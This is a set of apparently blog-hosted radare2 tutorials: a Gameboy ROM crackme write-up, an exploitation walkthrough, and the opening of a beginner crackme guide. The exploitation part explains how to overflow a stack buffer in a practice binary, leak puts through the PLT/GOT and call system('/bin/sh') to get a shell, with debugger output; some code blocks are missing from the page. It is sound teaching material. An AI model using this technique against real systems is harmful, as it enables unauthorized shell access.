Reverse engineering a Gameboy ROM with radare2



A month ago in Barcelona I was attending to r2con for the first time. This is the official congress of the radare2 community where everyone can learn more about radare2 framework and dive deep into different aspects of reverse engineering, malware analysis, fuzzing, exploiting and more. It also the place where all of us, the contributors and developers of radare2, can meet, discuss and argue about every other line of code in the framework.

This was the second congress of radare2, after the success of the first congress in last year which was also a celebration for radare’s 10 years old birthday. This year the conference was bigger, fancier and probably organized much better. r2con was four days long, starting at September 6 and lasted until September 9. The first two days were dedicated to training and took place at Universitat de Barcelona. The other two days were talks days and took place at the MediaPro.

Crackmes Competition

During r2con this year there was a Crackmes competition where all the attendees were given with the same 5 challenges and had to publish a writeups to all the challenges they had solved. The scoring was based on the quality of the writeups along with the quantity of solved challenges.

I won the competition and got myself some cool swag!

  • Flag of radare2
  • POC | GTFO book
  • Orange PI with 3D printed case of r2con logo
  • Radare2 stickers
  • A beer 🍺


I thought of sharing some of my writeups with you, so you can taste a bit from what we had in the competition and so that others, coming from google, twitter and such, could learn how to use radare2 for solving different challenges. This article is aimed to those of you who are familiar with radare2. If you are not, I suggest you to start from part 1 of my series “A Journy Into Radare2”.

Getting radare2


Radare2’s development is pretty quick – the project evolves every day, therefore it’s recommended to use the current git version over the stable one. Sometimes the stable version is less stable than the current git version!

If you don’t want to install the git version or you want the binaries for another machine (Windows, OS X, iOS, etc) check out the download page at the radare2 website.


As I said before, it is highly recommended to always use the newest version of r2 from the git repository. All you need to do to update your r2 version from the git is to execute:

And you’ll have the latest version from git. I usually update my version of radare2 in the morning, while watching cat videos.


Playing with Gameboy ROM

This post will describe how I solved, a Gameboy ROM challenge written by @condret. It was actually my first time reversing a Gameboy ROM — and it was awesome!

First thing I did was to open the binary in radare2 and check for its architecture and format:

$ r2
— For a full list of commands see strings /dev/urandom
[0x00000100]> i~format
format   ningb
[0x00000100]> i~machine
machine  Gameboy

The i command gives us information about the binary. Check i? for more commands.

Tilde (~) is r2’s internal grep.

Surprise, surprise, it is a Gameboy ROM — dah. After reading a bit about its instruction set we should go to the mission. 

The obvious thing to do is open the ROM in an Gameboy emulator. I downloaded the good old emulator I used back in the days when I played Pokemon: VisualBoy Advance.

Let’s open the ROM in our emulator and see what we have:

Woops, wrong file. Bad habits… Let’s try again:

Cool! It’s a simple game where, by using the arrow keys, you increase/decrease 5 digits. We ‘simply’ need to find the correct password.
After randomly choosing digits and pressing the Enter key we receive the badboy message:

Okay let’s start analyzing the code and search for the function that checks our input:

[0x00000100]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)

Usually my plan in such cases is to start from the end, i.e from where the “FAIL!” message is printed. That’s because the checking function should probably be near by.

[0x00000100]> izzq~FAIL
0x2f3 6 5 FAIL!

izzq would print us strings that exist in the whole binary, q is for quieter output.

Cool, now that we know the address of FAIL! let’s find where it referenced from. Sadly xrefs doesn’t work this time so I did it the ugly way — grepping.

[0x00000100]> pd 1024~2f3
0x000002e4      21f302         ld hl, 0x02f3

pd stands for print disassembly. Check pd? for more commands.

We found that it referenced at 0x2e4 so let’s seek to this address and print the function:

[0x00000100]> s 0x2e4
[0x000002e4]> pdf
(fcn) fcn.00000274 107
  fcn.00000274 ();
0x00000274      f802           ld hl, sp + 0x02
0x00000276      5e             ld e, [hl]
0x00000277      23             inc hl
0x00000278      56             ld d, [hl]
0x00000279      210400         ld hl, 0x0004
0x0000027c      19             add hl, de
0x0000027d      4d             ld c, l
0x0000027e      44             ld b, h
0x0000027f      0a             ld a, [bc]  <.. truncated ..> 0x000002bd      fe01           cp 0x01 ; comparison
0x000002bf      c2e402         jp nZ, 0x02e4
0x000002d3      1803           jr 0x03
| 0x000002d5      c3e402         jp 0x02e4          ; jump to badboy
   ; JMP XREF from 0x000002d3 (fcn.00000274)
0x000002d8      21ee02         ld hl, 0x02ee ; another string
0x000002db      e5             push hl
0x000002dc      cd660f         call fcn.00000f66
0x000002df      e802           add sp, 0x02
0x000002e1      c3ed02         jp 0x02ed
0x000002e4      21f302         ld hl, 0x02f3 ; our badboy
0x000002e7      e5             push hl
0x000002e8      cd660f         call fcn.00000f66
0x000002eb      e802           add sp, 0x02
   ; JMP XREF from 0x000002e1 (fcn.00000274)
0x000002ed      c9             ret

s is used to seek to address and pdf stands for print disassembly function

radare recognized that our function begins at 0x274. We can see at the bottom some comparison, then it jumps to our badboy message or to another message which is a string at 0x02ee. Let’s see what string is hiding there:

[0x000002e4]> ps @ 0x02ee


ps stands for print string. @ is a temporary seek.


Great! We found our goodboy!
Let’s rename the function to check_input and start analyze it:

[0x000002e4]> afn check_input 0x274
[0x00000274]> s check_input
[0x00000274]> VV

The afn command stands for  analyze function name. VV will open the Visual Graph Mode

I used Visual Graph mode for convenience, the function combined from a lot of jumps and if-conditions so it’s much more easier that way.

Use p and P to toggle between the different visual modes.

Seems like we found the place where the function checks each digit and compares it with the correct one. On the left we can see the flow of valid digits. Let’s have a quick view of the blocks. We’ll toggle again between the views using p until we reach the regular graph mode.

This is just a snip of the full graph since it is too long to put as an image.

From a quick view, and without fully understanding the instructions, it seems like the binary is checking whether the digit in each place is equals to a specific immediate value. It checks it by using cmp imm in this order: 3, 7, 5, 1, 9.
Hooray! That was so easy, let’s just enter this value and get the WIN! message:

What? Fail?? Okay, okay, maybe the other way:


Bummer… So it’s not so easy after all. I probably need to have a closer look at this function.

After a while and a deeper understanding of the function and each condition (radare2 isn’t able to debug the program so it was even harder) I understood that the blocks are not so different from each other, except several lines. Although it’s a simple lines of code, the disassembly looked awful. the register bc is holding the address of our array and being manipulated during the execution of the program. All we had to do is to follow its changes and understand which digit is being checked in every block.

Let’s take a look, for example, on these blocks for example:

At the first block, 0x4 is moved (ld instruction) to hl which in turn moved to register bc and then the value which is referenced in bc is compared to 0x3. As I said, bc points to our input so this check checks whether bc+4 is equals to 0x4. In the next block we can see that bc, which returned to its original value, now increased (inc) twice and the value it is referenced to is compared with 0x7. In the last block of our example, bc returns to its initial value and then incremented once and its referenced value is compared with 0x5..

Finally I came up with this pseudo Pythonic code:

Let’s see if we got it right:

Yes! We did it and ended up with our beloved goodboy.


In this writeup I showed you more of the powers within radare2, this time its capabilities to analyze a non-trivial binary. Thanks condret and all of the great people in the radare community for this great challenge! Another thanks goes to all these angels who helped creating r2con this year, it was absolutely awesome.

If you want to learn more about radare2 I suggest you to start from the part 1 of my series “A Journy Into Radare2”.

As always, please post comments to this post or message me privately if something is wrong, not accurate, needs further explanation or you simply don’t get it. Don’t hesitate to share your thoughts with me


A journey into Radare 2 – Part 2: Exploitation



Welcome back to the second part of our journey into the guts of radare2! In this part we’ll cover more of the features of radare2, this time with the focus on binary exploitation.

A lot of you waited for the second part, so here it is! Hope to publish the next part faster, much faster. If you didn’t read the first part of the series I highly recommend you to do so. It describes the basics of radare2 and explains many of the commands that I’ll use here.

In this part of the series we’ll focus on exploiting a simple binary. radare2 has many features which will help us in exploitation, such as mitigation detection, ROP gadget searching, random patterns generation, register telescoping and more. You can find a Reference Sheet at the end of this post. Today I’ll show you some of these great features and together we’ll use radare2 to bypass nx protected binary on an ASLR enabled system. I assume that you are already familiar with the following prerequisites:

It’s really important to be familiar with these topics because I won’t get deep into them, or even won’t briefly explain some of them.

Updating radare2

First of all, let’s update radare2 to its newest git version:

We have a long journey ahead so while we’re waiting for the update to finish, let’s get some motivation boost — cute cats video!


Getting familiar with our binary

Our binary this time is quite similar to the one from the previous post with a few slight changes to the main() function:

  • Compiled without -fno-stack-protector and -z execstac to enable NX bit
  • Receives user input with scanf and not from program’s arguments
  • Uses mostly puts to print to screen
  • Little changes to the program’s output

This was the previous main():


And now main looks like this:


You can download the binary from here, and the source from here.
If you want to compile the source by yourself, use the following command:

The functionality of the binary is pretty simple and we went through it in the previous post — It asks for user input, performs rot13 on the input and compares it with the result of rot13 on the string “Megabeets”. Id est, the input should be ‘Zrtnorrgf’.


It’s all well and good but today our post is not about cracking a simple Crackme but about exploiting it. Wooho! Let’s get to the work.

Understanding the vulnerability

As with every exploitation challenge, it is always a good habit to check the binary for implemented security protections. We can do it with rabin2 which I demonstrated in the last post or simply by executing i from inside radare’s shell. Because we haven’t opened the binary with radare yet, we’ll go for the rabin2 method:

As you can see in the marked lines, the binary is NX protected which means that we won’t have an executable stack to rely on. Moreover, the file isn’t protected with canariespic  or relro.

Now it’s time to quickly go through the flow of the program, this time we’ll look at the disassembly (we won’t always have the source code). Open the program in debug mode using radare2:

$ r2 -d megabeets_0x2
Process with PID 20859 started…
= attach 20859 20859
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32– Your endian swaps
[0xf7782b30]> aas
  • -d  – Open in the debug mode
  • aas – Analyze functions, symbols and more

Note: as I mentioned in the previous post, starting with aaa is not always the recommended approach since analysis is very complicated process. I wrote more about it in this answer — read it to better understand why.

Now continue the execution process until main is reached. We can easily do this by executing dcu main:

[0xf7797b30]> dcu?
|Usage: dcu Continue until address
| dcu address      Continue until address
| dcu [..tail]     Continue until the range
| dcu [from] [to]  Continue until the range
[0xf7797b30]> dcu main
Continue until 0x08048658 using 1 bpsize
hit breakpoint at: 8048658

dcu stands for debug continue until

Now let’s enter the Visual Graph Mode by pressing  VV. As explained in the first part, you can toggle views using p and P, move Left/Down/Up/Right using h/j/k/l respectively and jump to a function using g and the key shown next to the jump call (e.g gd).

Use ? to list all the commands of Visual Graph mode and make sure not to miss the R command 😉

main() is the function where our program prompts us for input (via scanf() ) and then passes this input to sym.beet . By pressing gc we can jump to the function beet() which handles our input:

We can see that the user input [arg_8h] is copied to a buffer ([local_88h]) and then, just as we saw in the previous post, the string Megabeets is encrypted with rot13 and the result is then compared with our input. We saw that before so I won’t explain it further.

Did you see something fishy? The size of our input is never checked and the input copied as-is to the buffer. That mean that if we’ll enter an input that is bigger then the size of the buffer, we’ll cause a buffer overflow and smash the stack. Ta-Dahm! We found our vulnerability.

Crafting the exploit

Now that we have found the vulnerable function, we need to gently craft a payload to exploit it. Our goal is simply to get a shell on the system. First, we need to validate that there’s indeed a vulnerable function and then, we’ll find the offset at which our payload is overriding the stack.

We’ll use a tool in radare’s framework called ragg2, which allows us to generate a cyclic pattern called De Bruijn Sequence and check the exact offset where our payload overrides the buffer.

We know that our binary is taking user input via stdin, instead of copy-pate our input to the shell, we’ll use one more tool from radare’s toolset called rarun2.

rarun2 is used as a launcher for running programs with different environments, arguments, permissions, directories and overrides the default file descriptors (e.g. stdin).

It is useful when you have to run a program using long arguments, pass a lot of data to stdin or things like that, which is usually the case for exploiting a binary.

We need to do the following three steps:

  • Write  De Bruijn pattern to a file with ragg2
  • Create rarun2 profile file and set the output-file as stdin
  • Let radare2 do its magic and find the offset
$ ragg2 -P 200 -r > pattern.txt
$ cat pattern.txt
$ vim profile.rr2
$ cat profile.rr2
$ r2 -R profile.rr2 -d megabeets_0x2
Process with PID 21663 started…
= attach 21663 21663
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— Use rarun2 to launch your programs with a predefined environment.
[0xf77c2b30]> dc
Selecting and continuing: 21663
.:: Megabeets ::.
Show me what you got?
child stopped with signal 11

We executed our binary and passed the content of pattern.txt to stdin with rarun2 and received SIGSEV 11.

 A signal is an asynchronous notification sent to a process or to a specific thread within the same process in order to notify it of an event that occurred.

The SIGSEGV (11) signal is sent to a process when it makes an invalid virtual memory reference, or segmentation fault, i.e. when it performs a segmentation violation.

Did you notice that now our prompt points to 0x41417641? This is an invalid address which represents ‘AAvA’ (ascii), a fragment from our pattern. radare allows us to find the offset of a given value in De Bruijn pattern.

[0x41417641]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr]  Write a De Bruijn Pattern of length ‘len’ at address ‘addr’
| wopO value         Finds the given value into a De Bruijn Pattern at current offset
[0x41417641]> wopO eip

Now that we know that the override of the return address occurs after 140 bytes, we can begin crafting our payload.

Creating the exploit

As I wrote a couple times before, this post isn’t about teaching basics of exploitation, it aims to show how radare2 can be used for binary exploitation using variety of commands and tools in the framework. Thus, this time I won’t get deeper into each part of our exploit.

Our goal is to spawn a shell on the running system. There are many ways to go about it, especially in such a vulnerable binary as ours. In order to understand what we can do, we first need to understand what we can’t do. Our machine is protected with ASLR so we can’t predict the address where libc will be loaded in memory. Farewell ret2libc. In addition, our binary is protected with NX, that means that the stack is not executable so we can’t just put a shellcode on the stack and jump to it.

Although these protections prevents us from using a few exploitation techniques, they are not immune and we can easily craft a payload to bypass them. To assemble our exploit we need to take a more careful look at the libraries and functions that the binary offers us.

Let’s open the binary in debug mode again and have a look at the libraries and the functions it uses. Starting with the libraries:

$ r2 -d megabeets_0x2
Process with PID 23072 started…
= attach 23072 23072
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— You haxor! Me jane?
[0xf7763b30]> il
[Linked libraries] library

il stands for Information libraries and shows us the libraries that our binary uses. Only one library in our case — our beloved libc.

Now let’s have a look at the imported functions by executing ii which stands for — you guessed right — Information Imports. We can also add q to our command to print a less verbose output:

[0xf7763b30]> ii

ordinal=001 plt=0x08048370 bind=GLOBAL type=FUNC name=strcmp
ordinal=002 plt=0x08048380 bind=GLOBAL type=FUNC name=strcpy
ordinal=003 plt=0x08048390 bind=GLOBAL type=FUNC name=puts
ordinal=004 plt=0x00000000 bind=WEAK type=NOTYPE name=__gmon_start__
ordinal=005 plt=0x080483a0 bind=GLOBAL type=FUNC name=__libc_start_main
ordinal=006 plt=0x080483b0 bind=GLOBAL type=FUNC name=__isoc99_scanf6 imports

[0xf7763b30]> iiq

Oh sweet! We have puts and scanf, we can take advantage of these two in order to create a clean exploit. Our exploit will take advantage of the fact that we can control the flow of the program (remember that ret tried to jump to an offset in our pattern?) and we’ll try to execute system("/bin/sh") to pop a shell.

The plan

  • Leak the real address of puts
  • Calculate the base address of libc
  • Calculate the address of system
  • Find an address in libc that contains the string /bin/sh
  • Call system with /bin/sh and spawn a shell

Leaking the address of puts

To leak the real address of puts we’ll use a technique called ret2plt. The Procedure Linkage Table is a memory structure that contains a code stub for external functions that their addresses are unknown at the time of linking. Whenever we see a CALL instruction to a function in the .text segment it doesn’t call the function directly. Instead, it calls the stub code at the PLT, say func_name@plt. The stub then jumps to the address listed for this function in the Global Offset Table (GOT). If it is the first CALL to this function, the GOT entry will point back to the PLT which in turn would call a dynamic linker that will resolve the real address of the desired function. The next time that func_name@pl is called, the stub directly obtains the function address from the GOT. To read more about the linking process, I highly recommend this series of articles about linkers by Ian Lance Taylor.

In order to do this, we will find the address of puts in both the PLT and the GOT and then call puts@got with puts@plt as a parameter. We will chain these calls and send them to the program at the point where scanf is expecting our input. Then we’ll return to the entrypoint for the second stage of our exploit. What will happen is that puts will print the real address of itself — magic!

For writing the exploit we will use pwnlib framework which is my favorite python framework for exploitation task. It is simplifying a lot of stuff and making our life easier. You can use every other method you prefer.

To install pwntools use pip:

You can read more about pwntools in the official documentation.

Here’s our python skeleton for the first stage:

We need to fill in the addresses of puts@plt, puts@got, and the entry point of the program. Let’s get back to radare2 and execute the following commands. The # character is used for commenting and the ~ character is radare’s internal grep.

[0xf7763b30]> # the address of puts@plt:
[0xf7763b30]> ?v sym.imp.puts
[0xf7763b30]> # the address of puts@got:
[0xf7763b30]> ?v reloc.puts_20
[0xf7763b30]> # the address of program’s entry point (entry0):
[0xf7763b30]> ieq

sym.imp.puts and reloc.puts_20 are flags that radare is automatically detect. The command ie stands for Information Entrypoint.

Now we need to fill in the addresses that we’ve found:

Let’s execute the script:

$ python
[+] Starting local process ‘./megabeets_0x2’: pid 23578
[*] puts is at: 0xf75db710
[*] Stopped process ‘./megabeets_0x2’ (pid 23578)
$ python
[+] Starting local process ‘./megabeets_0x2’: pid 23592
[*] puts is at: 0xf7563710
[*] Stopped process ‘./megabeets_0x2’ (pid 23592)
$ python
[+] Starting local process ‘./megabeets_0x2’: pid 23606
[*] puts is at: 0xf75e3710
[*] Stopped process ‘./megabeets_0x2’ (pid 23606)

I executed it 3 times to show you how the address of puts has changed in each run. Therefore we cannot predict its address beforehand. Now we need to find the offset of puts in libc and then calculate the base address of libc. After we have the base address we can calculate the real addresses of  system, exit and "/bin/sh" using their offsets.

Our skeleton now should look like this:


Calculating the real addresses

Please notice that in this part of the article, my results would probably be different then yours. It is likely that we have different versions  of libc, thus the offsets won’t be the same.

First we need to find the offset of puts from the base address of libc. Again let’s open radare2 and continue executing until we reach the program’s entrypoint. We have to do this because radare2 is starting its debugging before libc is loaded. When we’ll reach the entrypoint, the library for sure would be loaded.

Let’s use the dmi command and pass it libc and the desired function. I added some grep magic (~) to show only the relevant line.

$ r2 -d megabeets_0x2

Process with PID 24124 started…
= attach 24124 24124
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— A C program is like a fast dance on a newly waxed dance floor by people carrying razors – Waldi Ravens

[0xf771ab30]> dcu entry0
Continue until 0x080483d0 using 1 bpsize
hit breakpoint at: 80483d0

[0x080483d0]> dmi libc puts~=puts:0
vaddr=0xf758f710 paddr=0x00062710 ord=6490 fwd=NONE sz=474 bind=GLOBAL type=FUNC name=puts

[0x080483d0]> dmi libc system~=system:0
vaddr=0xf7569060 paddr=0x0003c060 ord=6717 fwd=NONE sz=55 bind=WEAK type=FUNC name=system

[0x080483d0]> dmi libc exit~=exit:0
vaddr=0xf755c180 paddr=0x0002f180 ord=5904 fwd=NONE sz=33 bind=LOCAL type=FUNC name=exit

All these paddr=0x000xxxxx are the offsets of the function from libc base. Now it’s time to find the reference of "/bin/sh" in the program. To do this we’ll use radare’s search features. By default radare is searching in which is the current memory map. We want to search in all memory maps so we need to config it:

[0x080483d0]> e = dbg.maps

You can view more options if you’ll execute e . To configure radare the visual way, use Ve.

Searching with radare is done by the / command. Let’s see some search options that radare offers us:

|Usage: /[amx/] [arg]Search stuff (see ‘e??search’ for options)
| / foo\x00           search for string ‘foo\0’
| /j foo\x00          search for string ‘foo\0’ (json output)
| /! ff               search for first occurrence not matching
| /+ /bin/sh          construct the string with chunks
| /!x 00              inverse hexa search (find first byte != 0x00)
| //                  repeat last search
| /h[t] [hash] [len]  find block matching this hash. See /#?
| /a jmp eax          assemble opcode and search its bytes
| /A jmp              find analyzed instructions of this type (/A? for help)
| /b                  search backwards
| /B                  search recognized RBin headers
| /c jmp [esp]        search for asm code
| /C[ar]              search for crypto materials
| /d 101112           search for a deltified sequence of bytes
| /e /E.F/i           match regular expression
| /E esil-expr        offset matching given esil expressions %%= here
| /f file [off] [sz]  search contents of file with offset and size
| /i foo              search for string ‘foo’ ignoring case
| /m magicfile        search for matching magic file (use blocksize)
| /o                  show offset of previous instruction
| /p patternsize      search for pattern of given size
| /P patternsize      search similar blocks
| /r[e] sym.printf    analyze opcode reference an offset (/re for esil)
| /R [?] [grepopcode] search for matching ROP gadgets, semicolon-separated
| /v[1248] value      look for an cfg.bigendian 32bit value
| /V[1248] min max    look for an cfg.bigendian 32bit value in range
| /w foo              search for wide string ‘f\0o\0o\0’
| /wi foo             search for wide string ignoring case ‘f\0o\0o\0’
| /x ff..33           search for hex string ignoring some nibbles
| /x ff0033           search for hex string
| /x ff43 ffd0        search for hexpair with mask
| /z min max          search for strings of given size

Amazing amount of possibilities. Notice this /R feature for searching ROP gadgets. Sadly, we are not going to cover ROP in this post but those of you who write exploits will love this tool.

We don’t need something facny, we’ll use the simplest search. After that we’ll find where in this current execution libc was loaded at (dmm) and then we’ll calculate the offset of "/bin/sh".

[0x080483d0]> / /bin/sh
Searching 7 bytes from 0x08048000 to 0xffd50000: 2f 62 69 6e 2f 73 68
Searching 7 bytes in [0x8048000-0x8049000]
hits: 0
Searching 7 bytes in [0x8049000-0x804a000]
hits: 0 <..truncated..> Searching 7 bytes in [0xf77aa000-0xf77ab000]
hits: 0
Searching 7 bytes in [0xffd2f000-0xffd50000]
hits: 0
0xf7700768 hit1_0 .b/strtod_l.c-c/bin/shexit 0canonica.

r2 found "/bin/sh" in the memory. Now let’s calculate its offset from libc base:

[0x080483d0]> dmm~libc
0xf7599000 /usr/lib32/
[0x080483d0]> ?X 0xf7700768-0xf7599000

We found that the offset of "/bin/sh" from the base of libc is 0x167768. Let’s fill it in our exploit and move to the last part.

Spawning a shell

The second stage of the exploit is pretty straightforward. We will again use 140 bytes of padding, then we’ll call system with the address of "/bin/sh" as a parameter and then return to exit.

Remember that we returned to the entrypoint last time? That means that scanf is waiting for our input again. Now all we need to do is to chain these calls and send it to the program.

Here’s the final script. As I mentioned earlier, you need to replace the offsets to match your version of libc.


When running this exploit we will successfully spawn a shell:

$ python
[+] Starting local process ‘./megabeets_0x2’: pid 24410
[*] puts is at: 0xf75db710
[*] libc base: 0xf75ce000
[*] system is at: 0xf760a060
[*] /bin/sh is at: 0xf7735768
[*] exit is at: 0xf75fd1b0
[+] Here comes the shell!
[*] Switching to interactive mode:
$ whoami
$ echo EOF


Here the second part of our journey with radare2 is coming to an end. We learned about radare2 exploitation features just in a nutshell. In the next parts we’ll learn more about radare2 capabilities including scripting and malware analysis. I’m aware that it’s hard, at first, to understand the power within radare2 or why you should put aside some of your old habits (gdb-peda) and get used working with radare2. Having radare2 in your toolbox is a very smart step whether you’re a reverse engineer, an exploit writer, a CTF player or just a security enthusiast.

Above all I want to thank Pancake, the man behind radare2, for creating this amazing tool as libre and open, and to the amazing friends in the radare2 community that devote their time to help, improve and promote the framework.

Please post comments or message me privately if something is wrong, not accurate, needs further explanation or you simply don’t get it. Don’t hesitate to share your thoughts with me.

Subscribe on the left if you want to get the next articles straight in your inbox.

Exploitation Cheatsheet

Here’s a list of the commands I mentioned in this post (and a little more). You can use it as a reference card.

Gathering information

  • $ rabin2 -I ./program — Binary info (same as i from radare2 shell)
  • ii [q] – Imports
  • ?v sym.imp.func_name — Get address of func_name@PLT
  • ?v reloc.func_name — Get address of func_name@GOT
  • ie [q] — Get address of Entrypoint
  • iS — Show sections with permissions (r/x/w)
  • i~canary — Check canaries
  • i~pic — Check if Position Independent Code
  • i~nx — Check if compiled with NX


  • dm — Show memory maps
  • dmm — List modules (libraries, binaries loaded in memory)
  • dmi [addr|libname] [symname] — List symbols of target lib


  • e search.* — Edit searching configuration
  • /? — List search subcommands
  • / string — Search string in memory/binary
  • /R [?] — Search for ROP gadgets
  • /R/ — Search for ROP gadgets with a regular expressions


  • dc — Continue execution
  • dcu addr – Continue execution until address
  • dcr — Continue until ret (uses step over)
  • dbt [?] — Display backtrace based on dbg.btdepth and dbg.btalgo
  • doo [args] — Reopen in debugger mode with args
  • ds — Step one instruction
  • dso — Step over

Visual Modes

  • pdf @ addr — Print the assembly of a function in the given offset
  • V — Visual mode, use p/P to toggle between different modes
  • VV — Visual Graph mode, navigating through ASCII graphs
  • V! — Visual panels mode. Very useful for exploitation

Check this post on radare’s blog to see more commands that might be helpful.

A journey into Radare 2 – Part 1: Simple crackme



I was playing a lot with radare2 in the past year, ever since I began participating in CTFs and got deeper into RE and exploitation challenges. I found radare2 very helpful with many CTFs tasks and my solutions had shortened significantly. It’s sometimes also my go-to tool for malware analysis tasks such as configuration retrievals. Sadly, I believe that only few people are familiar with radare2. It might be because they’re afraid to break out of their comfort zone (IDA Pro, OllyDBG, gdb) or they have simply not heard of it. Either way, I honestly believe that you must include radare2 in your toolbox.

Because I got really enthusiastic about the project and I want more and more researchers to be familiar with it, use it and hopefully contribute to the project, I decided to create a series of articles and use-cases of r2. Since these articles aim to teach you the basics of radare2, its features and capabilities, I’ll explain much more than you actually need to know in order to solve each task.

Welcome to IDA 10.0. (see radare2/doc/ for more fortunes)


radare2 is an open source framework for reverse engineering and binaries analysis which implements a rich command line interface for disassembling, analyzing data, patching binaries, comparing data, searching, replacing, visualizing and more. It has great scripting capabilities, it runs on all major platforms (GNU/Linux, .Windows *BSD, iOS, OSX, Solaris…) and it supports tons of architectures and file formats. But maybe above all of its features stands the ideology – radare2 is absolutely libre.

This framework is composed of a set of utilities that can be used either together from r2 shell or independently – We’ll get familiar with tools such as rahash2, rabin2, ragg2. Together they create one of the most powerful tools in the field of static and dynamic analysis, hex editing and exploitation (I’ll dive deeper in the following articles).

It is important to note that r2’s learning curve is pretty steep – although r2 have a GUI and a WebUI, none of them is quite enough to compete with the GUI or the convenience of IDA, IMHO. The CLI, however, including its Visual Mode, is still the core of radare2 and where its power lays. Because of its complexity I’ll try to make things as clear and simple as I can.

This is more or less how r2 learning curve works.

This is more or less how r2 learning curve works.

Before we begin you can check out the “Unfair comparison between r2, IDA Pro and Hopper” to get an idea of what we’re dealing with.


Getting radare2


Radare2’s development is pretty quick – the project evolves every day, therefore it’s recommended to use the current git version over the stable one. Sometimes the stable version is less stable than the current git version!

If you don’t want to install the git version or you want the binaries for another machine (Windows, OS X, iOS, etc) check out the download page at the radare2 website.


As I said before, it is highly recommended to always use the newest version of r2 from the git repository. All you need to do to update your r2 version from the git is to execute:

And you’ll have the latest version from git. I usually update my version of radare2 in the morning, while watching cat videos.


I Can’t think of a reason for you to uninstall radare2 so early in the article but if you do have you can simply execute:

Getting Started

You can download the first challenge here.

Now that radare2 is installed on your system and you have downloaded the binary, we are ready to start exploring the basic usage of radare2. I’ll work on a Remnux machine but most of the commands and explanations (if not all of them) would be the same for Windows machines and others.

Command Line Arguments

As most command line utilities, the best approach to reveal the list of the possible arguments is to execute the program with the -h flag.

I won’t paste here the full output, Instead I’ll point out those which I usually use in my daily work:


Binary info

Whenever I face a new challenge I first want to get information about the binary. Let’s extract it using one of the most powerful tools in r2 framework: rabin2.

rabin2 allows extracting information from binary files including Sections, Headers, Imports, Strings, Entrypoints, etc. It can then export the output in several formats. rabin2 is able to understand many file formats such as ELF, PE, Mach-O, Java CLASS.

Check man rabin2 for more information.

We’ll call rabin2 with the -I flag which prints binary info such as operating system, language, endianness, architecture, mitigations (canary, pic, nx) and more.

As you can clearly see, our binary is a 32bit ELF file, not stripped and dynamically linked. It doesn’t have exploit mitigation techniques – a useful information for the next articles when we’ll learn to exploit using radare2.

Now let’s run it and see what the program does.

Note: Although I promise you can trust me with running this crackme, it’s highly recommended not to trust me. Whenever you reverse an unknown binary, please do it inside a virtual environment where nothing can be harmed.

But you can trust me though, you have my dword 😛


The first time we run it we receive a message saying “Nop, Wrong argument”. Assuming we need to provide an argument for the program we run it again, this time with ‘abcdef’ as an argument. We failed again. Obviously some password is needed in order to solve this crackme.

Let’s examine the program using radare2:

$ r2 ./megabeets_0x1
 — Thank you for using radare2. Have a nice night!

We spawned a radare2 shell and it automatically greets us with one of its fortunes. Some are very funny and some are actually useful, you can execute fo command to print a fortune. Now r2 shell is waiting for our commands and shows us the address in which we’re currently at (0x08048370). By default you’ll automatically be at the entrypoint address. Let’s see if it’s correct:

[0x08048370]> ie
vaddr=0x08048370 paddr=0x00000370 baddr=0x08048000 laddr=0x00000000 haddr=0x00000018 type=program1 entrypoints
We used the ie command that prints the entrypoints of the binary. r2 commands are a succession of meaningful letters. In this example ie stands for info >> entrypoint. Hence the commands are easy to remember once you’re familiar with radare2 capabilities. But you don’t have to remember all commands – you can simply add ? after (almost) every letter to get information about the command and its subcommands.
[0x08048370]> i?
|Usage: i Get info from opened file (see rabin2’s manpage)
| Output mode:
| ‘*’                Output in radare commands
| ‘j’                Output in json
| ‘q’                Simple quiet output
| Actions:
| i|ij               Show info of current file (in JSON)
| iA                 List archs
| ia                 Show all info (imports, exports, sections..)
| ib                 Reload the current buffer for setting of the bin (use once only)
| ic                 List classes, methods and fields
| iC                 Show signature info (entitlements, …)
| id                 Debug information (source lines)
| iD lang sym        demangle symbolname for given language
| ie                 Entrypoint
| iE                 Exports (global symbols)
| ih                 Headers (alias for iH)
| iHH                Verbose Headers in raw text
| ii                 Imports
| iI                 Binary info
| ik [query]         Key-value database from RBinObject
| il                 Libraries
| iL                 List all RBin plugins loaded
| im                 Show info about predefined memory allocation
| iM                 Show main address
| io [file]          Load info from file (or last opened) use bin.baddr
| ir|iR              Relocs
| is                 Symbols
| iS [entropy,sha1]  Sections (choose which hash algorithm to use)
| iV                 Display file version info
| iz                 Strings in data sections
| izz                Search for Strings in the whole binary
| iZ                 Guess size of binary program

The i command aim to get information from the opened file, it’s actually rabin2 (mentioned earlier) implemented in radare2 shell.


radare2 doesn’t analyze the file by default because analysis is a complex process that can take a long time, especially when dealing with large files. To read more about analysis and the choice not to perform analysis at startup you can read this post at radare2 blog.

Obviously analysis is still a possiblity and r2 has lots of analysis types. As I noted before, we can explore the analysis options by adding '?‘ to 'a' command.

[0x08048370]> a?
|Usage: a[abdefFghoprxstc] […]
| ab [hexpairs]    analyze bytes
| abb [len]        analyze N basic blocks in [len] (section.size by default)
| aa[?]            analyze all (fcns + bbs) (aa0 to avoid sub renaming)
| ac[?] [cycles]   analyze which op could be executed in [cycles]
| ad[?]            analyze data trampoline (wip)
| ad [from] [to]   analyze data pointers to (from-to)
| ae[?] [expr]     analyze opcode eval expression (see ao)
| af[?]            analyze Functions
| aF               same as above, but using anal.depth=1
| ag[?] [options]  output Graphviz code
| ah[?]            analysis hints (force opcode size, …)
| ai [addr]        address information (show perms, stack, heap, …)
| ao[?] [len]      analyze Opcodes (or emulate it)
| aO               Analyze N instructions in M bytes
| ar[?]            like ‘dr’ but for the esil vm. (registers)
| ap               find prelude for current offset
| ax[?]            manage refs/xrefs (see also afx?)
| as[?] [num]      analyze syscall using dbg.reg
| at[?] [.]        analyze execution traces
